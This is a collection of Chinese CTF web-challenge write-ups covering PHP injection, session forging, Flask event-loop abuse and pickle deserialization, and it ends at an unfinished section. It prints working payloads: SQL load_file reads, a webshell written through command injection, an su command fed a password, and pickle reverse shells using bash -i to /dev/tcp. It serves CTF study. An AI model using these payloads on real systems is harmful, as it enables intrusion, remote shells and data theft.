得到 .DS_Store经常会有一些不可见的字符,使用hex函数对其进行16进制转换 ascii hex解码得到 发现了flag_8946e1ff1ee3e40f.php 尝试查看/tmp/html/flag_8946e1ff1ee3e40f.php
1 ',content =(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php" )),
什么都没有,加上hex
1 ',content =(hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php" ))),
得到 但这个flag是错的 真实的flag在/var/www/html下
1 ',content =(hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php" ))),
[羊城杯 2020]Easyphp2 可以看到url中有文件读取,那么用伪协议读一下源码 关键字被过滤了,双重url编码
1 ?file= php://filter /%25 %36 %33 %25 %36 %66 %25 %36 %65 %25 %37 %36 %25 %36 %35 %25 %37 %32 %25 %37 %34 %25 %32 %65 %25 %36 %32 %25 %36 %31 %25 %37 %33 %25 %36 %35 %25 %33 %36 %25 %33 %34 %25 %32 %64 %25 %36 %35 %25 %36 %65 %25 %36 %33 %25 %36 %66 %25 %36 %34 %25 %36 %35 /resource= GWHT.php
获得内容 解码后获得GWHT.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <meta http-equiv ="X-UA-Compatible" content ="ie=edge" > <title > count is here</title > <style > html , body { overflow : none; max-height : 100vh ; } </style > </head > <body style ="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;" > <center > <img src ="question.jpg" height ="200" width ="200" /> </center > <?php ini_set ('max_execution_time' , 5 ); if ($_COOKIE ['pass' ] !== getenv ('PASS' )) { setcookie ('pass' , 'PASS' ); die ('<h2>' .'<hacker>' .'<h2>' .'<br>' .'<h1>' .'404' .'<h1>' .'<br>' .'Sorry, only people from GWHT are allowed to access this website.' .'23333' ); } ?> <h1 > A Counter is here, but it has someting wrong</h1 > <form > <input type ="hidden" value ="GWHT.php" name ="file" > <textarea style ="border-radius: 1rem;" type ="text" name ="count" rows =10 cols =50 > </textarea > <br /> <input type ="submit" > </form > <?php if (isset ($_GET ["count" ])) { $count = $_GET ["count" ]; if (preg_match ('/;|base64|rot13|base32|base16|<\?php|#/i' , $count )){ die ('hacker!' ); } echo "<h2>The Count is: " . exec ('printf \'' . $count . '\' | wc -c' ) . "</h2>" ; } ?> </body > </html >
有两个php语句
1 2 3 4 5 6 7 8 9 <?php ini_set ('max_execution_time' , 5 ); if ($_COOKIE ['pass' ] !== getenv ('PASS' )) { setcookie ('pass' , 'PASS' ); die ('<h2>' .'<hacker>' .'<h2>' .'<br>' .'<h1>' .'404' .'<h1>' .'<br>' .'Sorry, only people from GWHT are allowed to access this website.' .'23333' ); } ?>
这一段意思就是cookie不能为PASS,要等于GWHT
第二段是要我们命令执行
1 2 3 4 5 6 7 8 9 <?php if (isset ($_GET ["count" ])) { $count = $_GET ["count" ]; if (preg_match ('/;|base64|rot13|base32|base16|<\?php|#/i' , $count )){ die ('hacker!' ); } echo "<h2>The Count is: " . exec ('printf \'' . $count . '\' | wc -c' ) . "</h2>" ; } ?>
简化一下是这样,虽然它过滤了<?php但是我们可以用<?=代替
1 printf ' $count ' | wc -c
payload
1 '|echo " <?= eval (\$_POST ['cmd' ])?> " |tee a.php|'
合起来就是这样,意思是把shell写入a.php文件里
1 printf '' |echo "<?= eval(\$_POST['cmd'])?>" |tee a.php | '' | wc -c
更改cookie后提交一下payload 然后我们可以用蚁剑登录了 find命令找到flag路径 发现没办法查看 flag路径下还发现了passwd 这下要解析一下,不知道网上的大佬都是怎么爆出来的 反正最终解密下来是GWHTCTF 接下来就是su提权 直接切换用户不行,因为蚁剑shell不是完整tty payload
1 echo 'GWHTCTF' | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'
得到flag 但我们也可以直接查看环境变量来找到flag
[HFCTF2020]BabyUpload 打开靶机给出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting (0 );session_save_path ("/var/babyctf/" );session_start ();require_once "/flag" ;highlight_file (__FILE__ );if ($_SESSION ['username' ] ==='admin' ) { $filename ='/var/babyctf/success.txt' ; if (file_exists ($filename )){ safe_delete ($filename ); die ($flag ); } }else { $_SESSION ['username' ] ='guest' ; }$direction = filter_input (INPUT_POST, 'direction' );$attr = filter_input (INPUT_POST, 'attr' );$dir_path = "/var/babyctf/" .$attr ;if ($attr ==="private" ){ $dir_path .= "/" .$_SESSION ['username' ]; }if ($direction === "upload" ){ try { if (!is_uploaded_file ($_FILES ['up_file' ]['tmp_name' ])){ throw new RuntimeException ('invalid upload' ); } $file_path = $dir_path ."/" .$_FILES ['up_file' ]['name' ]; $file_path .= "_" .hash_file ("sha256" ,$_FILES ['up_file' ]['tmp_name' ]); if (preg_match ('/(\.\.\/|\.\.\\\\)/' , $file_path )){ throw new RuntimeException ('invalid file path' ); } @mkdir ($dir_path , 0700 , TRUE ); if (move_uploaded_file ($_FILES ['up_file' ]['tmp_name' ],$file_path )){ $upload_result = "uploaded" ; }else { throw new RuntimeException ('error while saving' ); } } catch (RuntimeException $e ) { $upload_result = $e ->getMessage (); } } elseif ($direction === "download" ) { try { $filename = basename (filter_input (INPUT_POST, 'filename' )); $file_path = $dir_path ."/" .$filename ; if (preg_match ('/(\.\.\/|\.\.\\\\)/' , $file_path )){ throw new RuntimeException ('invalid file path' ); } if (!file_exists ($file_path )) { throw new RuntimeException ('file not exist' ); } header ('Content-Type: application/force-download' ); header ('Content-Length: ' .filesize ($file_path )); header ('Content-Disposition: attachment; filename="' .substr ($filename , 0 , -65 ).'"' ); if (readfile ($file_path )){ $download_result = "downloaded" ; }else { throw new RuntimeException ('error while saving' ); } } catch (RuntimeException $e ) { $download_result = $e ->getMessage (); } exit ; }?>
分析一下 前面设置了session存储路径,启动了session并根目录下包含flag
1 2 3 4 error_reporting(0 ) session_save_path("/var/babyctf/" ) session_start() require_once "/flag"
如果session的username为admin,判断/var/babyctf下是否有success.txt,如果存在,删除文件并输出$flag 否则设置username为guest
1 2 3 4 5 6 7 8 9 10 11 if ($_SESSION['username' ] ==='admin' ) { $filename='/var/babyctf/success.txt' ; if (file_exists($filename)){ safe_delete($filename); die ($flag); } }else { $_SESSION['username' ] ='guest' ; }
设置两个post参数direction、attr,$dir_path拼接路径,若$attr为private,在$dir_path的基础上再凭借一个username
1 2 3 4 5 6 $direction = filter_input(INPUT_POST, 'direction' ) $attr = filter_input(INPUT_POST, 'attr' ) $dir_path = "/var/babyctf/" .$attrif ($attr==="private" ){ $dir_path .= "/" .$_SESSION['username' ] }
如果direction设置为upload,首先判断是否正常上传,通过则在$dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256值,之后限制目录穿越,创建相应目录,把文件上传到目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if ($direction === "upload" ){ try { if (!is_uploaded_file ($_FILES ['up_file' ]['tmp_name' ])){ throw new RuntimeException ('invalid upload' ); } $file_path = $dir_path ."/" .$_FILES ['up_file' ]['name' ]; $file_path .= "_" .hash_file ("sha256" ,$_FILES ['up_file' ]['tmp_name' ]); if (preg_match ('/(\.\.\/|\.\.\\\\)/' , $file_path )){ throw new RuntimeException ('invalid file path' ); } @mkdir ($dir_path , 0700 , TRUE ); if (move_uploaded_file ($_FILES ['up_file' ]['tmp_name' ],$file_path )){ $upload_result = "uploaded" ; }else { throw new RuntimeException ('error while saving' ); } } catch (RuntimeException $e ) { $upload_result = $e ->getMessage (); } }
若direction设置为download,读取上传上来的文件名,拼接为$file_path,限制目录穿越,判断是否存在,存在则返回文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 elseif ($direction === "download" ) { try { $filename = basename (filter_input (INPUT_POST, 'filename' )); $file_path = $dir_path ."/" .$filename ; if (preg_match ('/(\.\.\/|\.\.\\\\)/' , $file_path )){ throw new RuntimeException ('invalid file path' ); } if (!file_exists ($file_path )) { throw new RuntimeException ('file not exist' ); } header ('Content-Type: application/force-download' ); header ('Content-Length: ' .filesize ($file_path )); header ('Content-Disposition: attachment; filename="' .substr ($filename , 0 , -65 ).'"' ); if (readfile ($file_path )){ $download_result = "downloaded" ; }else { throw new RuntimeException ('error while saving' ); } } catch (RuntimeException $e ) { $download_result = $e ->getMessage (); } exit ; }
可知要获取flag需满足
1 2 $_SESSION [‘username’] ===‘admin’$filename =’/var/ babyctf/success.txt’
也就是说我们要伪造自己的username是admin,并创建一个success.txt文件
伪造session php的session默认存储文件名是sess_+PHPSESSID的值,我们先看一下session文件内容 构造direction=download&attr=&filename=sess_028edebc1c488c84a0f6de78e725b60c post传入,在返回内容中读到内容 可以看到还有一个不可见字符,参考PHP中SESSION反序列化机制 可知 不同引擎所对应的session的存储方式有
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化存储的值
因此我们可以判断这里session处理器为php_binary,那么我们可以在本地利用php_binary生成我们要伪造的session文件。
1 2 3 4 5 6 <?php ini_set ('session.serialize_handler' , 'php_binary' );session_save_path ("D:\\websafe\\phpstorm\\php_project\\" );session_start ();$_SESSION ['username' ] = 'admin' ;
将文件名改为sess并计算sha256 这样,如果我们将sess文件上传,服务器储存该文件的文件名就应该是 sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 用postman将文件传上去 构造direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4看是否上传成功 这样就实现了伪造
创建success.txt 先在还需要创建一个success.txt来满足判断,回到代码
1 2 3 4 5 6 7 8 if ($_SESSION['username' ] ==='admin' ) { $filename='/var/babyctf/success.txt' ; if (file_exists($filename)){ safe_delete($filename); die ($flag); } }
filename是通过file_exists来判断的,而file_exists函数在php中是检查文件或目录 是否存在的 文件名设置不了,直接创建目录也符合条件,将attr设置为success.txt创建目录,再将sess上传到该目录下即可绕过判断 可以看到已经上传成功 那么现在我们把cookie改为admin
[羊城杯 2020]Blackcat 访问页面,查看源码
提示要听歌,听完后没什么东西,把MP3文件下载到本地,用记事本打开 在结尾给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (empty ($_POST ['Black-Cat-Sheriff' ]) || empty ($_POST ['One-ear' ])){ die ('谁!竟敢踩我一只耳的尾巴!' ); }$clandestine = getenv ("clandestine" );if (isset ($_POST ['White-cat-monitor' ])) $clandestine = hash_hmac ('sha256' , $_POST ['White-cat-monitor' ], $clandestine );$hh = hash_hmac ('sha256' , $_POST ['One-ear' ], $clandestine );if ($hh !== $_POST ['Black-Cat-Sheriff' ]){ die ('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。' ); }echo exec ("nc" .$_POST ['One-ear' ]);
函数hash_hmac($algo,$data,$key) 当传入的$data为数组时,加密得到的结果固定为NULL 我们可以让White-cat-monitor的值是一个数组,这样使得clandestine的值为null, 然后第四行就可以看成:$hh = hash_hmac(‘sha256’, $_POST[‘One-ear’], null); 要知道hh的值,我们得定义一个One-ear得值:由于exec只返回命令执行结果的最后一行内容,我们可以使用;(闭合前面的nc)来执行多条命令,然后使用dir来显示文件夹内容,所以One-ear=;dir,那么hh的值为: 然偶使Black-Cat-Sheiff的值等于hh的值。 payload
1 White-cat-monitor[]= 1 &Black-Cat-Sheriff= 83 a52 f8 ff4e399417109312 e0539 c 80147 b5514586 c 45 a6 caeb3681 ad9 c 1 a395 &One-ear=
抓flag
1 2 White-cat-monitor[]=1&Black-Cat-Sheriff =04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6 &One-ear =;cat flag.php
buu的flag藏在env中
[DDCTF 2019]homebrew event loop 点击view source code查看源码 Python文件源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 from flask import Flask, session, request, Responseimport urllib app = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5afe1f66147e857' def FLAG (): return '*********************' def trigger_event (event ): session['log' ].append(event) if len (session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event) == type ([]): request.event_queue += event else : request.event_queue.append(event)def get_mid_str (haystack, prefix, postfix=None ): haystack = haystack[haystack.find(prefix)+len (prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystackclass RollBackException : pass def execute_event_loop (): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len (request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp@app.route(url_prefix+'/' ) def entry_point (): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len (querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict (session) trigger_event(querystring) return execute_event_loop()def view_handler (args ): page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />' .format ( session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset' : del session['num_items' ] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return htmldef index_handler (args ): bool_show_source = str (args[0 ]) bool_download_source = str (args[1 ]) if bool_show_source == 'True' : source = open ('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True' : html += line.replace('&' , '&' ).replace('\t' , ' ' *4 ).replace( ' ' , ' ' ).replace('<' , '<' ).replace('>' , '>' ).replace('\n' , '<br />' ) else : html += line source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' )def buy_handler (args ): num_items = int (args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format (args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format ( num_items), 'action:view;index' ])def consume_point_function (args ): point_to_consume = int (args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consumedef show_flag_function (args ): flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args ): if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' )if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
首先我们从路由出手,然后我们慢慢去看它调用了哪些函数,这里只用了一个路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 @app .route (url_prefix+'/' ) def entry_point (): querystring = urllib.unquote (request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith ('action:' )) or len (querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session : session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict (session) trigger_event (querystring) return execute_event_loop () # handlers/functions below --------------------------------------
flask常用的接受参数方法 当我们看到第81行就知道,querystring = urllib.unquote(request.query_string)接收url?后面的所有的值,然后进行url编码,传入参数querystring中 接着有个判断条件
1 if querystring == '' or (not querystring.startswith ('action:' )) or len (querystring) > 100
结合上面,如果没有传递任何参数为空或者不是action开头
1 not querystring.startswith('action:' )
又或者上传参数长度大于100
1 or len (querystring) > 100
那么就会进入条件判断语句,强化初始化参数
1 querystring = 'action :index;False #False '
后面的内容就是我们买钻石的网站,我们先盲猜一下num_items是我们买东西的清单,如果我们什么都没买,就是初始化session中的列表
1 2 3 session['num_items' ] = 0 session['points' ] = 3 session['log' ] = []
从现在来看,之前的一切都是在为我们买东西做准备,接受了我们的参数以后,如果我们没有买东西,就是我们初步登录的这个界面,将我们一切东西初始化。重点是下面三个
1 2 3 request.prev_session = dict (session ) trigger_event (querystring ) return execute_event_loop ()
request.prev_session = dict(session)这把刚刚初始化的session用字典的形式传给了这个参数到了trigger_event(querystring),我们看到了一个函数trigger_event,跟进这个函数
1 2 3 4 5 6 7 8 def trigger_event(event ): session['log' ].append(event ) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type (event ) == type ([]): request.event_queue += event else : request.event_queue.append(event )
可以看到,实际上trigger_envent的形参event就是我们刚刚获得url?后面的参数querystring。并且将它加入到session['log']这个日志 第一个if
1 2 if len (session['log' ] ) > 5 : session['log' ] = session['log' ] [-5:]
举个栗子 也就是要后面5个,前面都不要了 第二个if
1 2 if type (event) == type ([]): request.event_queue += event
如果我们刚刚传入的参数也就是url?后面的字符串是列表类型,就合并。这两个列表request.event_queue和event合并在一起,request.event_queue在前面定义了
1 2 3 4 @app .route (url_prefix+'/' ) def entry_point (): querystring = urllib.unquote (request.query_string) request.event_queue = []
虽然它之前在路由定义的,现在函数里面仍然能用,因为它是全局变量,即使函数没有声明,也可以使用。列表也是可以合并的
1 2 3 a =[1 ,5 ]b =[3 ,4 ,5 ]a +b=[1 ,3 ,4 ,5 ,5 ]
如果没有进行第二个if条件判断,就执行request.event_queue.append(event)加入到这个列表当中 这时候看return的返回函数return execute_event_loop(),继续跟进函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 def execute_event_loop(): valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp while # `event` is event request.event_queue if continue for if break else: is_action action args try: event_handler action ret_val except if resp resp resp session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except if resp # resp continue if if resp else: resp if resp session.modified return
首先初始化设置了两个参数
1 2 3 valid_event_chars = set ( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp
进入while循环吗?我们 再来想一下request.event_queue是什么 也就是我们url?后面的字符串,加入到这个列表中,以后不会再重复了 while循环一进来是这个
1 2 event = request.event_queue [0] request.event_queue = request.event_queue [1:]
就是将我们刚刚输入的字符串的列表第一个赋值给event,然后删除了第一个值,因为第一个值已经给了event,然后删除了第一个值,因为第一个值已经给了event,没必要留着
1 2 3 4 5 6 request.event_queue = request.event_queue[1 :] if not event .startswith(('action:' , 'func:' )): continue for c in event : if c not in valid_event_chars: break
如果我们第一个字符串开头不是action或func,就进入if判断语句继续。下一个for循环一次检验event中有没有字符 重点来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval ( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp
这个开头is_action=event[0]==’a’作用是什么,我们还不知道,先放着 下面两个我们可以看到有同一个函数get_mid_str action = get_mid_str(event, ‘:’, ‘;’)
args = get_mid_str(event, action+’;’).split(‘#’)
1 2 3 4 5 def get_mid_str(haystack, prefix , postfix =None): haystack = haystack[haystack.find(prefix )+len(prefix ):] if postfix is not None: haystack = haystack[:haystack.find(postfix )] return haystack
action是由实际作用,因为eval函数会用到,args函数不知道有啥用,大佬的wp是:返回列表到args里,所以很明显,我们上传的参数就是action开头,才能上传过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def get_mid_str (haystack, prefix, postfix=None ): haystack = haystack[haystack.find(prefix)+len (prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystackdef ACTION_handler ():pass event = 'action:ACTION;ARGS0#ARGS1#ARGS2' is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' )print '[!] action:' ,action args = get_mid_str(event, action+';' ).split('#' )print '[!] args:' ,args event_handler = eval (action + ('_handler' if is_action else '_function' ))print '[!] event_handler:' ,event_handler
event_handler函数就是用eval拼接,从而得到了处理函数,eval函数的本质就是将字符串str当成有效的表达式来求值并且返回计算结果,程序过滤了大部分的特殊符号,导致我们不能随意使用代码注入,不过由于args使用#进行分割,而#在python代码中是注释符,在action中加入#。可以把后面的_handler注释掉。上面的代码用event = ‘action:str#;ARGS0#ARGS1#ARGS2’进行测试
1 2 3 [!] action: str# [!] args: ['ARGS0' , 'ARGS1' , 'ARGS2' ] [!] event_handler: <type 'str' >
其他没啥分析,我们找到可以控制的点 我们去找找如何得到flag 我们看到flag函数是不带参数 现在,我们可以控制event_handler运行指定的参数,不过还有一个问题是FLAG()函数是不带参数,而args为list,直接传入action:FLAG,将产生报错 我们发现show_flag_function是没办法得到flag,应为return flag被注释了,只是将它放到flag中,想要得到flag只能用get_flag_handler()可以得到flag,而得到flag 的条件是if session['num_items'] >= 5 ,于是我们进入题目界面,去买钻石,发现最多买3个,不能买5个以及5个。我们看一下买钻石的函数 发现存在逻辑漏洞:第148行,就是我们的钱无论够不够,他都会给我们先加上,然后扣掉 若让eval()去执行trigger_event(),并且在后面跟两个命令作为参数,分别是buy和get_flag,那么buy和get_flag便先后进入队列 根据顺序会先执行buy_handler(),此时consume_point进入队列,排在get_flag之后,我们的目标达成。 构造payload
1 ?action:trigger_event%23 ;action:buy;2% 23 action:buy;3% 23 action:get_flag;%23
我们把得到的session放到flask-session-cookie-manager-master进行解密
1 python3 flask_session_cookie_manager3 .py decode -c 'session'
还有一个flask session解密脚本 脚本来源https://www.leavesongs.com/PENETRATION/client-session-security.html
季博杯挑战赛 记得匿名哟~ 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ ); error_reporting (0 ); $a = new class { function getflag ( ) { system ('cat /flag.txt' ); } }; unset ($a ); $a = $_GET ['class' ]; $f = new $a (); $f ->getflag (); ?>
匿名类的实例化 此题参考2024红明谷杯初赛 最终payload
1 ?class =class @anonymous%00 /var/ www/html/i ndex.php:4 $0
解释一下payload
class@anonymous:是匿名类的名称,固定
/var/www/html/index.php:是匿名类所在的文件
4:是匿名类在这个文件的第几行
0:是这个匿名类是第几次创建,环境刚创建时是0
[CTF复现计划]2024红明谷 Web 这个wp更详细一点,用get_class可以查看匿名类的内存
[HFCTF 2021 Final]easyflask 知识点:pickle反序列化,session伪造
pickle学习
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import pickle data = ['aa' ,'bb' ,'cc' ] #dumps 将数据通过特殊的形式转换为只有python语言认识的字符串p = pickle.dumps (data)print (p) #将pickle数据转换为python的数据结构 p1 = pickle.loads (p)print (p1) #dump 将数据通过特殊的形式转换为只有python语言认识的字符串然后写入文件 with open ('D:/php/tmp.pk' ,'wb' ) as f: #这个函数要求读写文件以二进制读写,所以上面的需要是wb pickle.dump (data,f) with open ('D:/php/tmp.pk' ,'rb' ) as f: #这个函数要求读写文件以二进制读写,所以上面的需要是rb data = pickle.load (f) print (data)
运行结果
python反序列化实例分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pickle import osclass Test2 (object): def __reduce__ (self ): cmd = "/usr/bin/id" return (os.system,(cmd,))if __name__ == "__main__" : test = Test2 () result1 = pickle.dumps(test) result2 = pickle.loads(result1)
在序列化操作的时候,不执行__reduce__函数;当执行反序列化操作的时候,执行__reduce__函数 (os.system,(cmd,))中的,应该是消除歧义的
反序列化漏洞出现在__reduce__()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时,都会自动调用这类函数。二者恰好是反序列化漏洞经常出现的地方。 而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞。 另外pickle.loads会解决import问题,对于未引用的module会自动尝试import。那么也就是说整个python标准库的代码执行,命令执行函数都可以进行使用。
官方文档中的解释 获取源码 打开容器,提示/file?file=index.js 进入后,提示/app/source,再次进入获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import osimport picklefrom base64 import b64decodefrom flask import Flask, request, render_template, session app = Flask(__name__) app.config["SECRET_KEY" ] = "*******" User = type ('User' , (object ,), { 'uname' : 'test' , 'is_admin' : 0 , '__repr__' : lambda o: o.uname, })@app.route('/' , methods=('GET' , ) ) def index_handler (): if not session.get('u' ): u = pickle.dumps(User()) session['u' ] = u return "/file?file=index.js" @app.route('/file' , methods=('GET' , ) ) def file_handler (): path = request.args.get('file' ) path = os.path.join('static' , path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open (path, 'r' ) as fp: content = fp.read() return content@app.route('/admin' , methods=('GET' , ) ) def admin_handler (): try : u = session.get('u' ) if isinstance (u, dict ): u = b64decode(u.get('b' )) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1 : return 'welcome, admin' else : return 'who are you?' if __name__ == '__main__' : app.run('0.0.0.0' , port=80 , debug=False )
解题步骤 读取secret_key 在/file路由下,读取/proc/self/environ
1 secret_key=glzjin22948575858 jfjfjufirijidjitg3 uiiuuh
反序列化脚本 在/admin路由下,存在python反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/python3.6 import osimport picklefrom base64 import b64encodeUser = type ('User' , (object ,), { 'uname' : 'test' , 'is_admin' : 1 , '__repr__' : lambda o: o.uname, '__reduce__' : lambda o: (os.system ,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",)) }) u = pickle.dumps(User ()) print(b64encode(u).decode())
这里用python2和python3运行的结果是不一样的,但测试后都可以发挥作用
接下来就是伪造session 用的是flask_session_cookie_manager3
1 python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u' :{'b' :'刚才的编码' }}"
然后访问/admin路由,修改cookie,在vps上监听端口即可,反弹shell即可得到flag
[watevrCTF-2019]Pickle Store 这里首先想的是抓包看能不能修改参数以获得第三个商品的flag 但是抓过包之后发现并没有除cookie外能修改的参数 仔细查看cookie,发现这和pickle反序列化的字符串进行base64编码很像
1 session = gAN9cQAoWAUAAABtb25leXEBTeoBWAcAAABoaXN0b3J5cQJdcQNYFQAAAFl1bW15IHN0YW5kYXJkIHBpY2tsZXEEYVgQAAAAYW50aV90YW1wZXJfaG1hY3EFWCAAAAAzNWUyYWM5ZmNlNDMzMTQ2MjAyZTlhMDNiMzE5N2Y3YXEGdS4=
用chatgpt也能识别出 那我们构造一个pickle
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport osfrom base64 import b64encodeclass Test2 (object ): def __reduce__(self ): cmd = "bash -c 'bash -i >& /dev/tcp/0.0.0.0/6666 0>&1'" return (os .system ,(cmd ,)) test = Test2 () result1 = pickle.dumps(test ) print(b64encode (result1 ).decode())
执行的是反弹shell操作,将获得的字符串替换原有的cookie,vps监听6666端口
[NESTCTF 2019]Love Math 2 打开页面给出源码
